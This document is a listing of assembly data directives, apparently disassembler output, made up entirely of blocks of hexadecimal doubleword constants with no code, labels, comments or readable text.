		dd 45E8CFCAh, 0CD012F2Ah, 9D9FF176h, 65F4346Eh,	0AEEEFBh
		dd 209870A9h, 4CEA444Fh, 0FF00A671h, 0BC75F5D8h, 16F81Eh
		dd 6B6C69Ch, 0DFAF5802h, 4F25E801h, 0B0457D46h,	0B98B864h
		dd 71F7C9BEh, 7810F88Bh, 90241B10h, 0EB0E9483h,	4425810Fh
		dd 0A820DA4Ah, 106E241Dh, 5C8980C4h, 0B60D31BDh, 0BE472C16h
		dd 1F1C3000h, 5DB0DBh, 0FC60032Ah, 0FB19C70Ah, 5CAFD700h
		dd 0E2070F6h, 0FE32741Fh, 0AD51044Ah, 0B010F59Ch, 670F16D8h
		dd 40B26470h, 9054C052h, 0F41E1DB3h, 9784403Dh,	0F3E0F0CFh
		dd 6FED0503h, 0D0CEA089h, 204B2Bh, 0DE1C93Ah, 4A7E6A9Bh
		dd 0FDC66B09h, 887800E9h, 30223B5h, 0EB38D740h,	0FBB0E209h
		dd 7302961Fh, 2E683731h, 20E14070h, 69FCDAh, 0C619852h
		dd 39674A2Dh, 6A142103h, 0A8172646h, 765E7Eh, 0B1A33809h
		dd 62863A88h, 0AF87BA04h, 14E0FFB4h, 5F051327h,	8E350031h
		dd 0EE3055D3h, 12F5720Eh, 7CA8407Fh, 0EFB1E0h, 0AA0EB48Ah
		dd 47AE113Fh, 4C6EA103h, 0F8D17EEAh, 994EE8Bh, 5E84D7E0h
		dd 0EBA2B40Eh, 0D0527671h, 82A7F03Eh, 98A4BEDEh, 747AE1h
		dd 0BD6391BFh, 0BB6193D6h, 0AE3F50BAh, 0B55B80D2h, 0CC5EBED3h
		dd 72C30059h, 77C662C0h, 0B304A646h, 3D969DCBh,	0A3B91090h
		dd 0D8BA10h, 3F5D018Eh,	325CF195h, 8801B094h, 7AA4B4FBh
		dd 0B02430BCh, 0DD9F007Bh, 1BCBF223h, 1845E900h, 0B95531F1h
		dd 0A6803FD5h, 389D5680h, 11E8897Bh, 0DCF5BC1Ch, 95996240h
		dd 299835h, 2F6CA55Ah, 0F8BBE928h, 0F0ED44A1h, 0F0051F9h
		dd 0C3B4332Ah, 3E3CE9h,	34310CA7h, 0AB9C55B5h, 0F2533A28h
		dd 20A3F029h, 5CD99200h, 28369546h, 540CEBBCh, 0AF7C9Ch
		dd 13A0F060h, 3A41453Bh, 15240500h, 817AA90Fh, 0EAA61E62h
		dd 0D842C7ACh, 2F378084h, 0F8043B56h, 82119593h, 0C845BC93h
		dd 0B76A57h, 255380EFh,	70FA3EC7h, 30003C7Bh, 8EA3FEB8h
		dd 18CC4B2Fh, 38CBFDFBh, 900F829Fh, 81B16602h, 0F7A2AC12h
		dd 0C09AF560h, 4C4E17B1h, 5005E34h, 0A5C143FFh,	0A01C2B29h
		dd 1FBD3D68h, 17E10C80h, 10E201E6h, 0CC87C68Ah,	0DC4A3541h
		dd 202DE00Eh, 0FC9E1C52h, 33F007B2h, 0C1329C81h, 0E8BE7DCBh
		dd 5C003196h, 0EB7B43CFh, 4B8F9DDh, 0C9BB4C95h,	8008BC10h
		dd 0E645F62Ch, 9BCA0F32h, 9ADD3558h, 9BC1B14Ch,	1FB8BC12h
		dd 0DB00642Fh, 0FBE50FFEh, 0E9801FC4h, 0EBA980F0h, 372D1B14h
		dd 9F5E3AC1h, 0FC0C146h, 23D700B2h, 0CDE29401h,	0A300ED28h
		dd 97B00721h, 0D2E53Bh,	2324BE77h, 0ADF31F78h, 30C060E6h
		dd 0B7B109A0h, 523F1DCDh, 40EE1CABh, 313214C2h,	0F2CC3AAh
		dd 0E0008334h, 0B9E1B429h
		dd 56460099h, 0A368F36Fh, 0B700C3BCh, 0F1FC695Ah, 32B916h
		dd 29CF4706h, 86F96101h, 45DF3Fh, 0F317FA2Eh, 7F6E96C6h
		dd 0B36B0E63h, 5A20C276h, 6ED0C6Dh, 944FF304h, 9C80F23Ah
		dd 9828F897h, 0C61C0057h, 52BDCACFh, 6105C984h,	0F1393E5h
		dd 0A2E90478h, 0FE041714h, 0ECD160Fh, 0CC778094h, 0D7181Ah
		dd 1008244Bh, 8526FAEEh, 16995600h, 1386E696h, 1D9D32A4h
		dd 0CE10C829h, 0E5EA8882h, 0F1654C88h, 1A10BC02h, 21BC8B80h
		dd 0E01259D0h, 89812D10h, 483C4102h, 94299063h,	3E8D519Dh
		dd 4474C426h, 7E84B860h, 83A896Bh, 6C2E4402h, 71192284h
		dd 0F3113E42h, 7501130h, 216EA811h, 34380852h, 11288494h
		dd 36216FC5h, 9035DB08h, 7AE58428h, 1F428A48h, 51C222Fh
		dd 4C04400Fh, 3DEAB1A1h, 58007BE0h, 326FDC81h, 0D100C11Fh
		dd 7D1ABE8Ch, 0CCDA9Ah,	2D7A3B16h, 30FA885h, 0BD7BD800h
		dd 0B6E63A68h, 348E3A57h, 43E08800h, 85E8E183h,	0F50CBC00h
		dd 8033797Ch, 634A00DAh, 876AAC92h, 0BC0676E0h,	5393150Dh
		dd 0E9F80010h, 54E19EEh, 0D8246B5Dh, 0BE803099h, 0FB8FD5B0h
		dd 497E008Dh, 0BF38F236h, 0E4187121h, 1540658Bh, 31CA0C91h
		dd 7E67CA2h, 3C5B4F00h,	5E427028h, 990B0057h, 9A04BE1Eh
		dd 11E0F1F0h, 69003B70h, 738AE4C0h, 1EC759h, 2B4E537Fh
		dd 0DB0C8D28h, 74923A7Ah, 8621EA18h, 79A392D9h,	0A47D0011h
		dd 0A1B4FD14h, 595C723Bh, 0FFDF0077h, 0A2FB63AEh, 44620EBDh
		dd 2C373C8h, 5A98D5A8h,	0B5007285h, 6CFB5C0Ch, 0FC0804h
		dd 0AA10D45Dh, 0B588455h, 3E221F03h, 0C953507Ah, 0D3E1DA13h
		dd 2126F0h, 0FE68BCFDh,	5C494FE1h, 2DC98103h, 886691CDh
		dd 0F00BC6h, 0F74093E4h, 0DD9C0627h, 637B79C0h,	15E6C1h
		dd 0AFBC2348h, 0DDB83A9h, 0BD059D7Bh, 1E4A8660h, 0FEABF301h
		dd 91F8C6A0h, 44FA3A41h, 2F8705BBh, 0D06518A2h,	24119368h
		dd 0C202C573h, 62B7859Dh, 7A53E038h, 7C6628B1h,	33390088h
		dd 7B016436h, 8D037D9Bh, 0A7DD8589h, 0E05EF3DBh, 5C37A3C1h
		dd 3B28EA9Fh, 0D19602D8h, 8587B435h, 0AE548880h, 36C116FDh
		dd 52714234h, 24C035FCh, 0C4B31h, 0FBAA6BFFh, 0FD015A9Ah
		dd 2F7B9C3Eh, 9C6469E6h, 956507B3h, 0E75CBAC4h,	0FC0ED0C0h
		dd 6B006781h, 2E0DF8DAh, 3695D6Ch, 27AC9DDCh, 0C000581Dh
		dd 7AA10944h, 7212B2Ah,	81666BB6h, 64882054h, 0C9004DDEh
		dd 9B707824h, 0FC62588Ch, 22B807CEh, 535616EBh,	0D1A0F8DDh
		dd 3200DE0Dh, 1E431ADAh, 601B53C6h, 38ECF066h, 7B00C8CBh
		dd 5019A239h, 73377A97h, 64100E8h, 0B06A7820h, 11026F15h
		dd 72DD3BA7h, 0A28080CEh, 2E6E1273h, 0AD20B1h, 14057110h
		dd 0F800DC39h, 25F489A5h, 1DAF2D5h, 88A1A86Bh, 0E4B6DD4Fh
		dd 412E8FD0h, 3B00D2C5h, 9903293Ch, 0A10100CEh,	0F613F735h
		dd 0B714339Eh, 51A49A47h, 8A14247Bh, 301CC000h,	9CFC6176h
		dd 60FF01D7h, 3A9EABF9h, 6DBBDC9Dh, 5ADB3701h, 0EFC8A64Dh
		dd 3D1ACD70h, 0FC01889Ah, 91AE7796h, 0E3E420E4h, 223D00B8h
		dd 822A007Ch, 0F5115CE6h, 5DCA464h, 2D8D5E8Eh, 0CC126Fh
		dd 0EF0CF624h, 0DA03634Bh, 9939CD1Eh, 9FF298AFh, 0C6BD008Fh
		dd 1DE410EBh, 94E64D7Dh, 450A2426h, 3FA3C800h, 0A503F1h
		dd 0EEDDC118h, 0DB9F9AEAh, 0B3BD5D00h, 0AACD99F6h, 0E6D0001Ch
		dd 4BC2F3C3h, 0C6009018h, 8F86A951h, 0C05B5025h, 0F3BBE058h
		dd 0AC00F7EAh, 10927C6Ch, 0E38DB0Ah, 2A232DC5h,	0ABA65101h
		dd 59A4409Ch, 0A8A08847h, 0C0002CA1h, 20CC8CD8h, 68753Ch
		dd 0AD09E05h, 0D6BD396Eh, 3B7FC4C0h, 0B23F1Dh, 93D877DAh
		dd 7379D27Bh, 5C3C400h,	9C36842Ch, 4961007Ch, 0B27EDF67h
		dd 0B00E5127h, 0E087128Bh, 0E6F11E83h, 3E42F0F8h, 724BEAh
		dd 0C79C3711h, 0BF5605A1h, 5F00E272h, 67F1DC91h, 0DB7599h
		dd 1CE8EBCAh, 0B61AFC93h, 0C5BB3016h, 0ABD53207h, 7479F940h
		dd 33771350h, 225A0743h, 200FE71Fh, 1AABA427h, 542D6C03h
		dd 0EFC68388h, 196D94E0h, 82B70058h, 7AAD8C0Ah,	111E662Eh
		dd 0A99890ABh, 0E5137D8h, 1D850D70h, 0C07BA3E0h, 2100AFC9h
		dd 0B5758D42h, 0C36AB3h, 0BB391FF4h, 8218B83Fh,	0F047A40Eh
		dd 4BE3E0CAh, 0E9473B5h, 37DD0F2Dh, 6C43AE60h, 0C00097C9h
		dd 5DD58478h, 3EBCE23h,	9AD37396h, 74A0A8DDh, 0CB00A9C7h
		dd 72D8B7BAh, 71DDAh, 9E4C02CCh, 71936378h, 5BBCD100h
		dd 3D1B4D52h, 0AD201EABh, 4A89C5F2h, 0EF81C002h, 0DA00BA6Eh
		dd 3A5B358Bh, 3061224h,	988CC6A5h, 0D5D02BFCh, 3800CCA9h
		dd 26730974h, 0D6316h, 0ADCEB786h, 0F9BFF3E7h, 0F4852128h
		dd 4540E072h, 7EE50083h, 0DA937D56h, 0A30F2A54h, 60E7CE12h
		dd 79E42CDDh, 0AD0E2549h, 9700C8D4h, 60801162h,	56A901BCh
		dd 0C4D5AE2Fh, 0A90EBE2h, 86EE8598h, 9CCB0202h,	40167054h
		dd 944A45h, 0E6685DCAh,	48F1EDAAh, 6AD89Dh, 74107C36h
		dd 0E4AE207Ah, 0BF2D3E00h, 0E9DAC411h, 0CA2107A9h, 0E0E15F07h
		dd 3E95EC3Ch, 0B63853E4h, 0AE1480A3h, 7BAA8D89h, 1EF90525h
		dd 0D277D5h, 97E1BC86h,	0F00082Dh, 57A98EADh, 27D035h
		dd 19B0B4Ah, 0C3B22CDh,	79231D5Ch, 8900B6F0h, 0D63895C8h
		dd 1C74F9h, 0B2509F2Bh,	5730368Bh, 14DAF600h, 3D7955FEh
		dd 0E641002Fh, 85A8832Ah, 0B99824F5h, 68C2E903h, 0C86049CBh
		dd 0E626C5B4h, 5AFB002Dh, 573E3989h, 3A03B1EAh,	0CAAFA93h
		dd 0FB379094h, 28801469h, 4C288095h, 89D4EFBCh,	203203DFh
		dd 0E14A63DDh, 818BD6A1h, 3B705921h, 57D4EE8Ch,	31671F5Dh
		dd 0A41500A8h, 0B139BFFAh, 765E6200h, 0A3294F1Fh, 245B3F6Dh
		dd 80B9A6h, 0D997710Eh,	7200C677h, 829156ABh, 1AF3E04h
		dd 16906110h, 0FCF1BE3Dh, 0B80096A2h, 329AE269h, 0D1B462h
		dd 246D9239h, 689BDAABh, 7EFBD000h, 78552916h, 5DB3013Bh
		dd 1845F17h, 0B66C20FEh, 0E9CDFD00h, 4E6EC792h,	0AB234830h
		dd 0AD80D700h, 4CE53B09h, 0A81C7078h, 0B4801D39h, 91DE7DD8h
		dd 78F6BDh, 1A321874h, 0A6236455h, 6C8DCE24h, 0A9015C02h
		dd 5A60685Eh, 0AA4E1F93h, 1706262Ch, 0B3E7009Ch, 41BE489Ah
		dd 0C2227100h, 55080D67h, 0B1FD0094h, 22BE9F3h,	0BCA09CF8h
		dd 5B133CDDh, 32003F47h, 2AB0D265h, 4B62B55Ah, 80B87884h
		dd 9D370F99h, 119FC600h, 8CFC72C7h, 587D00BFh, 88E7F452h
		dd 18008239h, 44D76B5Eh, 2DAB0Ah, 0FC82CB4h, 7F43ACD2h
		dd 3B0A753h, 0E9DF2507h, 61448080h, 21D300EDh, 6250688Eh
		dd 0E3007B02h, 0EBE1141Fh, 0A49A8Bh, 666C1837h,	38B46B7Fh
		dd 0C7ACF500h, 99E7C261h, 0C0E002Bh, 0D9CF1917h, 9E60FFD4h
		dd 8A471F8Ah, 2D3300FDh, 0EBEA3F14h, 8490A94Ch,	52C52900h
		dd 0B75BF57Eh, 39D2001Ah, 0D3B3C317h, 95005D72h, 0B4FCD17Dh
		dd 0E669CDABh, 2693B00Eh, 0A3A10Bh, 46E44E6Bh, 0B004EFCEh
		dd 0BEA35A3Fh, 15E68481h, 30C3DD5h, 316DC614h, 137F00ACh
		dd 2E4F632Ch, 97E603C9h, 89E1E77Eh, 59782100h, 0A6F3067Fh
		dd 8D1C1E99h, 0DEE6C0FAh, 79FB187Ah, 7B5D03Dh, 1B3495A5h
		dd 0F95FF9C3h, 1420F215h, 0A6370350h, 0BDA70D49h, 94B96AC0h
		dd 9E28C300h, 2F656FE0h, 0AA61079Bh, 0C7E9ADh, 0D498B9A7h
		dd 471E3B00h, 162BDC5Fh, 0F8E101F3h, 0B4A6BE9Fh, 52B270A3h
		dd 61CA7F01h, 0A8954A91h
		dd 20CDA440h, 2CE200FEh, 0E88753C4h, 1E1CB39Dh,	0C2C03ED6h
		dd 607DA64Ch, 695600D5h, 0D06B4FCEh, 0C0BAD6Dh,	1082Eh
		dd 4B62B36Bh, 7E9C0A4Ch, 0A4BFFFh, 0A521B142h, 2E6FD9Fh
		dd 0A948ED00h, 0A6B9E4B8h, 0F37C88h, 0A16F584Ah, 5EE81B83h
		dd 0DFD48200h, 27EB1D7Fh, 24F24C93h, 68BFE10Fh,	0D094B580h
		dd 3E1DC176h, 22420D8Eh, 83BC19ACh, 0D138BD94h,	52DC0414h
		dd 0E8C63DF7h, 4F5CDF00h, 7760FCFBh, 7FF12618h,	1118C111h
		dd 5FD43Eh, 4DAFC2AAh, 2AEC3B7h, 0EB13A346h, 0C940907Dh
		dd 3CEA17ABh, 0FCB5B000h, 0D5D148C9h, 47AC0255h, 3E4025A3h
		dd 0B1D00040h, 77ED241Dh, 6F3AA583h, 87D48901h,	3BC91024h
		dd 0C080FF1Bh, 0EA82FA22h, 4D3C8404h, 0EBBC0002h, 0EFBAA8E2h
		dd 0CB0C0E3Fh, 1396986Ah, 5D6C5E43h, 15FC0037h,	92697504h
		dd 95C834Ch, 8948DAC8h,	98B0006Dh, 0EB8E50h, 998866C1h
		dd 0D9D364FEh, 0C1F2B00h, 9E9D39ADh, 0E03D0186h, 539CFBD8h
		dd 0DDA270F2h, 0F725100h, 76DFB471h, 2C5500E3h,	0E6579E85h
		dd 5F01A4BFh, 0A310A128h, 0C600BFAh, 2353038Ch,	8460B92Ah
		dd 0D4711DC8h, 877B4Ch,	11F647D5h, 0CF67BBh, 5863A843h
		dd 8FE82F02h, 750F2575h, 6001533Bh, 425D9A20h, 6A8602A3h
		dd 0A6E743A1h, 968023C3h, 71C0C4D8h, 421C8F38h,	69C985Ch
		dd 0C71EA7C2h, 6C00C8E9h, 0C1D23C51h, 0B82407D3h, 91490EECh
		dd 18A05BE1h, 0EFCFA177h, 994E4C0Fh, 55E0007Ch,	7E729CDh
		dd 0A049214Ah, 13F6F134h, 698CDC7Dh, 160777E2h,	3CCF2499h
		dd 5BB19C11h, 21230E0h,	53727BF5h, 9061A375h, 6B6C7095h
		dd 0AE3C7402h, 8147D4F2h, 0B030D5A2h, 5CDCD320h, 3A3AB97Eh
		dd 0C74EF580h, 0A2B7CE70h, 0FC838F26h, 245CC100h, 54C356h
		dd 0AE34400Dh, 25774613h, 45D1A2Eh, 0D2038420h,	0DC18D0A9h
		dd 40BAB0B1h, 21FD007Ah, 818A66C3h, 0EE00C763h,	0D6F998EBh
		dd 6F350Ah, 5732C93Eh, 0A12B4D12h, 5B556E00h, 8CECB52Dh
		dd 9A056026h, 59378652h, 0CA3CA016h, 20554C0Fh,	3892C4BEh
		dd 0AC7B006Ch, 6840A1C1h, 3C01F543h, 0E5220E53h, 72CC3101h
		dd 0FAC10045h, 1AA4D081h, 5200461Ch, 4C75C64h, 4941E2h
		dd 26CD224Bh, 3E280729h, 0F45F3502h, 4027CB7Ch,	815090h
		dd 0AD82D108h, 0D5A1B755h, 1CCAB0Fh, 57268037h,	0E394BFh
		dd 0E19A786Eh, 45E2BA95h, 1984C900h, 0F91BCC4Fh, 24C20081h
		dd 35C78808h, 0DE3A8D0Dh, 70EA5828h, 4C9A1700h,	0B6F9DC25h
		dd 36C1003Dh, 884DF3A4h, 0B200646Dh, 381B5FF4h,	41EA6Fh
		dd 81774BA0h, 251F31E9h, 72C1CA00h, 54C2EEE1h, 0E680015Bh
		dd 2060BB2Ch, 1870F016h, 2555F800h, 1AD41C6Ah, 0E50A0462h
		dd 0C02C2D24h, 0AE8FCE6Dh, 0F0090F6h, 0EC293BE0h, 0C52306h
		dd 7C5F9BF7h, 0F2218D20h, 0C7311401h, 2F390EE5h, 37D0FCh
		dd 87C830Bh, 43237129h,	2ECE6F58h, 18006151h, 35B26703h
		dd 0F6B9130Eh, 0BD1449ABh, 55A0E800h, 3C2EB6D9h, 0C3006B04h
		dd 2446D8F7h, 0E8F90015h, 121FB701h, 0A803B3BFh, 0A03658D0h
		dd 406C821Ah, 98A505B4h, 11BB033Fh, 98019EBh, 0C0C874A7h
		dd 6FF1E48Ch, 0F25C7D14h, 0AD00A86h, 0A026DD95h, 91AF8E00h
		dd 26F4563Eh, 808C62BFh, 0DB8C722Bh, 13EE355Bh,	201CC926h
		dd 71D47E00h, 0C01776BFh, 0E7C43940h, 1E1FAB4Dh, 60039910h
		dd 1EE4CC5Ah, 409ED998h, 0ACC4D7D0h, 0DF00CF93h, 79F7A634h
		dd 76A3AD3h, 7A6B184Ch,	616C3045h, 5A00A88Ah, 9FC35549h
		dd 93D2Dh, 0B8020F6Fh, 0F38648A0h, 0B08AEA1Dh, 0D98A800h
		dd 0E54269h, 0C6674A2Bh, 3293FBB6h, 0D1AE5300h,	24033BA5h
		dd 83750142h, 6321E8F8h, 0A9F3FC47h, 330BB500h,	71B7C04Fh
		dd 1E381E13h, 42DC40D3h, 7F18BC32h, 6E9EB207h, 0BEA0CD26h
		dd 0A0ACC337h, 0B7C91DCh, 1070F5CAh, 0B65C0180h, 3C0F3B8Fh
		dd 60D5EA4Bh, 397549F2h, 0E2450003h, 819C8716h,	0FA0918F1h
		dd 0C6D51Ch, 2864B5C0h,	2AC116F0h, 9ED400BAh, 0CA7A368Dh
		dd 0D9C6A11Fh, 0DA340E03h, 0A0C0AC22h, 0F86167h, 0EA8B7636h
		dd 0A30E3E19h, 63627400h, 0A2D63F40h, 8C2300CDh, 8EC5165Bh
		dd 2C1389B0h, 54000E18h, 552B746Dh, 0C46700B1h,	489DF9A8h
		dd 0E60E2377h, 0F7E2C902h, 4E254000h, 4A2FE9h, 47FFBB39h
		dd 0C7A4D99Ah, 42C9B48h, 84127515h, 0E1AF7BC0h,	1227B4Ah
		dd 0F387EB41h, 0C8EE89A5h, 0BF01EA03h, 3390327Dh, 91D4101Dh
		dd 0D3FB00BAh, 70DD5DF3h, 0C000A154h, 0B7AA5C4h, 0E2464BADh
		dd 3DCB0663h, 0F829DD50h, 96F7E000h, 0FE8B9E13h, 768960Dh
		dd 30DC0AFDh, 0B51811B2h, 48D7EA12h, 8090D4h, 24675CC4h
		dd 9580977h, 0AC022E83h, 0D6E3E1CBh, 85D6AB8h, 0CEEFC500h
		dd 0EB5671F4h, 8ECF0351h, 0B3C64EECh, 0A8E93A01h, 0C22A32Fh
		dd 50358870h, 79C8C1Ch,	347DB175h, 385E3092h, 0AE3CD174h
		dd 97DF8055h, 61BB73CDh, 0DE709Fh, 765059C6h, 6E46AC2Fh
		dd 0E840C91Dh, 98F6A43Bh, 0AAE6FE0Eh, 813CDCF7h, 2C21BB4Ch
		dd 0E2C0DD44h, 0AD851842h, 7F9C8B3h, 0D6A1DA00h, 0D461667Ah
		dd 0CA7C34h, 0EBDE326Eh, 45644B83h, 378C6803h, 0F05607DBh
		dd 2546D4h, 0C47E0FA2h,	43D7D63Dh, 3547E51Ch, 12E100FFh
		dd 4FC9382Bh, 0D96B163Bh, 5A0C0164h, 0C435D33Eh, 4503D47Bh
		dd 167D6A6Dh, 5E38D03Ah, 0BDC200EDh, 94B0B11Ah,	77D8DEEh
		dd 0C4374F07h, 0CC708128h, 0B954C6h, 7922DDF9h,	6EFD6CB4h
		dd 95D3A3Fh, 0AF1705h, 7EA14DACh, 47A90061h, 0DA77FED3h
		dd 4800A733h, 0C9419EBEh, 0F0E1FD21h, 4DE902D7h, 0EE50EACFh
		dd 8FAECC60h, 10002AE2h, 0CCCBE033h, 487EFC23h,	0C202ACBCh
		dd 26DDA231h, 0CFB52848h, 35F4A972h, 977CBA03h,	0D3DA5569h
		dd 9C08F01Ch, 577203A5h, 0B8AE463Eh, 0AF6410F0h, 8EF27B01h
		dd 2278565Bh, 7344420h,	16A5A93h, 1BD7906Fh, 0D11DFDBDh
		dd 47C0B751h, 0E1708C57h, 0FABB0007h, 64AF42CEh, 0D0025F8Eh
		dd 1E98B9B5h, 7808C069h, 0F49C07A3h, 49AB7AADh,	0A312040h
		dd 0C22FD000h, 1BC97EE3h, 0E2193079h, 9FAA27C9h, 66F84401h
		dd 92FAB3C5h, 0FE1EC2D8h, 3BA00055h, 9E5C2CA7h,	0E90923C8h
		dd 80AB80DEh, 2EC5A230h, 49A10F84h, 0EEE02B72h,	46ADBB28h
		dd 0DF180C00h, 0DA270B48h, 65360FFEh, 0A8385C3Dh, 5A18A6DDh
		dd 0A348B3F2h, 0EC440B11h, 9180C823h, 4E6E4C5Ch, 5F2A1C3h
		dd 698F973h, 4364D180h,	4CC118Ah, 0A2B47650h, 0D17B0700h
		dd 0D4735078h, 977A293Eh, 0B75B4074h, 0C60C0190h, 91832F74h
		dd 6E2A7DACh, 320614Fh,	8DDEE209h, 0C8BFCF28h, 5201FE77h
		dd 4A93F47Fh, 78806888h, 1B7BC35Ch, 54073E82h, 1E9663BEh
		dd 3D4828A6h, 53057821h, 933138C7h, 62F824D4h, 2766C2Ah
		dd 0BA04097Eh, 730FEDF0h, 0EE486080h, 0CE9001DEh, 0C19E1BB0h
		dd 4FA86039h, 6BFF6302h, 0C2BF188Ah, 0CD9C0180h, 0E180CCE0h
		dd 0E3268770h, 5E03E502h, 1AA772D3h, 32DAC986h,	15B09450h
		dd 0E940606Ah, 0E060AB4h, 0D4F4E0C0h, 601C7A4Ch, 0AB2451E1h
		dd 2FEA1F11h, 946952h, 1BB7741Ah, 1ED2A06h, 0F6AAC909h
		dd 50CE2EE0h, 0C16795Ch, 0E8CB8B00h, 0BA835E9Ah, 974D00EBh
		dd 4BA763C4h, 0A818A18Ah, 32987C6Dh, 31611022h,	52B7001Dh
		dd 0EFC12F07h, 0B92C007Fh, 977233D6h, 7E059295h, 52F9F1E5h
		dd 69088C04h, 1CBB0CC1h
		dd 7C5166F5h, 0E9805D0Ch, 0A065AA13h, 0A4002F83h, 86C890D3h
		dd 34CB62h, 1B2953F4h, 0C194B154h, 0D87216F0h, 13AB4B00h
		dd 12F8D752h, 7AF60B79h, 0F380EE2Ah, 35901A7Ch,	0C22D4B1Eh
		dd 0ACEA5080h, 0E2E83Bh, 9C33BB8Eh, 28806607h, 9DBD6900h
		dd 5F0292DCh, 0B8E83E0Bh, 95B2FC80h, 0A1998DF0h, 0B3760A00h
		dd 1F7247Eh, 0D6C80FADh, 0EECCC77Dh, 0FF001810h, 0FB116BE5h
		dd 336727Bh, 0BF47DDFh,	7C02679h, 562C8DA7h, 0F9008F14h
		dd 8CFCFB69h, 0CC8F0053h, 4727C55Bh, 0E505D901h, 7F16F1DCh
		dd 0D0F6E842h, 0A0F8A025h, 2AEEA2BBh, 0F9C802Eh, 0C18836AAh
		dd 0F80DF6C0h, 6A013B9Ch, 1B832543h, 946137E0h,	227ACDCh
		dd 6203F13h, 6441DE0Ch,	81B040A4h, 72009C36h, 65B35321h
		dd 619B7C7h, 0B1F02006h, 8300400Ah, 0D7BD3E56h,	49F586Ch
		dd 0F47E9B74h, 1F5CAC1Ch, 0ACBC0CEDh, 130E509Ah, 51AFE0B1h
		dd 34BBB8Fh, 5F17F0F9h,	62B83F19h, 1E00446Fh, 28A74940h
		dd 0E967FAh, 9AF0B9F8h,	115D9574h, 6F377100h, 3CD7C308h
		dd 63AD0440h, 808D3442h, 0B0224C49h, 4762C500h,	1E30D57Ch
		dd 507E003Ch, 67F796B3h, 740AEBE3h, 0A49F16ABh,	8D91AA00h
		dd 2D0E2Ch, 0CF63C9EAh,	6BC36E4Bh, 131CAC9Eh, 3C2ACC0h
		dd 2C1170h, 8AB15F98h, 0EC573D35h, 0F212DF00h, 0E2D37955h
		dd 9DFB00D9h, 4AB79CFAh, 4101E76Dh, 7E288737h, 0D8531D10h
		dd 529CF920h, 0D8D59681h, 0C4282FDBh, 8F25A704h, 9D0F408h
		dd 2CA062FEh, 0CB8ADE93h, 0ADAA7F00h, 0CDEF9DFCh, 6396121Bh
		dd 316C0360h, 0EDC06D88h, 0B5079C99h, 43D29275h, 617D20B2h
		dd 86D8E313h, 547C00DDh, 5C8DF37Bh, 89605649h, 23AB1D54h
		dd 0C35F1E79h, 0B982C0BFh, 0BDF22742h, 8FBBDB00h, 0CAF313DFh
		dd 0AAA31C73h, 1DE38103h, 0DC65A91Bh, 0E0426D1h, 61054479h
		dd 0BD192680h, 0D932001Dh, 7597B207h, 438D16Eh,	0F94E80CEh
		dd 0D3872DA0h, 738C037Eh, 9FA50E3Ah, 0B6581890h, 25F18301h
		dd 0E7776CCEh, 9C4820h,	294786Ah, 1BF5D639h, 4AAC4200h
		dd 812D24EEh, 0EDCF0028h, 85E2043h, 0D424F2F7h,	820E62E1h
		dd 0B9FCC3D9h, 1FAAB804h, 685100F9h, 44264E65h,	3BE8A84Dh
		dd 78F14B03h, 0E00AE674h, 602166h, 0AA282932h, 6ECB04B6h
		dd 57AC3B12h, 0A6EBC005h, 0A900D89Bh, 961E2A57h, 7A00EB88h
		dd 82A8342Eh, 16B1B513h, 13DC2CD2h, 0DA5402E8h,	3CC89FCAh
		dd 621E6C5Dh, 75864A1Ch, 919EEBCh, 6D41982h, 0F262D490h
		dd 0B372D000h, 0BAB90F8Ch, 2AA22CAFh, 74E442E4h, 6F4B1468h
		dd 270448h, 0FC8F2272h,	21C06B3h, 12449AEh, 0E8CAA52Ch
		dd 48726410h, 53C9F5Ch,	0A279D25Eh, 0A7308481h,	0BE072C38h
		dd 2146AB55h, 2444FD1Ah, 4A2CF96Ch, 0E703E04Bh,	0CAB72842h
		dd 38685A64h, 0A1E2AF43h, 0C8209268h, 0F759A3h,	1B8E7AA8h
		dd 622C1FEh, 670A8600h,	44CC3E9Ah, 0D099C21Ah, 0B080D8DEh
		dd 69BA8DF4h, 6B180BECh, 5F822BB6h, 81A238B7h, 0CF6C6687h
		dd 0CA78F0A5h, 2F1DC9A6h, 8F9DAD80h, 93A442C7h,	388883DFh
		dd 767AF375h, 74F8E91h,	7F6FC405h, 399B2CB0h, 281843E5h
		dd 94CFF933h, 9EF50B00h, 9C3BBFB8h, 912307FEh, 60660E6Bh
		dd 0B4FCDB41h, 0DD32150Eh, 0A48FEA75h, 0EC008312h, 0B030BDC4h
		dd 1C988Bh, 6FCC2735h, 1F5D7F4Fh, 180E3B03h, 0C888E5BEh
		dd 9470FED3h, 8F1A80C4h, 0EDAD0D20h, 780CC306h,	1027DAh
		dd 5E81D8Eh, 0FB7D58B8h, 7EC69C01h, 7F123973h, 30385601h
		dd 0DD005C85h, 0FE1DB870h, 0FE2E287Ch, 9A1703C0h, 0B6D7A792h
		dd 9B860788h, 614A4E05h, 0DC528FD4h, 0CC15200Ah, 0F27AA080h
		dd 1C5FBDE7h, 0CAF5D09Dh, 8190FE7Dh, 0BAC39643h, 0C02E70C9h
		dd 0A0D9DB03h, 0C381E4B4h, 57500156h, 0C1069FA3h, 443C6Ch
		dd 59E3825h, 0B04E8B96h, 0BC350F38h, 0DA8FAEF3h, 3CE70F80h
		dd 0B90F2B6Ch, 0E051085Ah, 21478AFEh, 50A0007Ah, 94BD7EB8h
		dd 3774A59Eh, 74C34Ch, 0CEE61A80h, 1D460731h, 0F86D44h
		dd 0C70C693Eh, 271D2589h, 2CC595A4h, 0C902B01h,	284DC5h
		dd 569080B5h, 0FC5A1E8Bh, 0F052AD00h, 2D738496h, 421403BAh
		dd 0AE06973Eh, 3F592F80h, 0B61EF400h, 17EB8591h, 0CC6401F1h
		dd 0FF7D7A2Ch, 0DCE1C97Bh, 0AF00680Ah, 818DAA45h, 1D0D0FEFh
		dd 0C2E364B0h, 9BBE4D5Fh, 2A025040h, 0EC4D725h,	5EBB60F8h
		dd 21BF994h, 86A568FCh,	984056ABh, 0A9005A34h, 48A77084h
		dd 7D070DE2h, 67B000EFh, 0BB50AD8Dh, 0DC24317Bh, 4F053C91h
		dd 58800492h, 0E58FD32h, 9FC34419h, 7DD8CEC3h, 0F7D61590h
		dd 50D0BD03h, 0F09D7CE1h, 0B3015Bh, 0EC56141Dh,	9B48EE19h
		dd 1CD96B5Ch, 0B64311FFh, 90B2DE7Bh, 2E697516h,	97343FC8h
		dd 30E42080h, 0C0005CEh, 19F2DCADh, 90F098BAh, 0AA4D0030h
		dd 0B8C9374Ah, 0E20E5739h, 0C37ED5A9h, 982C8061h, 64C348h
		dd 998860C6h, 0BA51E107h, 559A3D00h, 4C43CF2h, 3C55FA3h
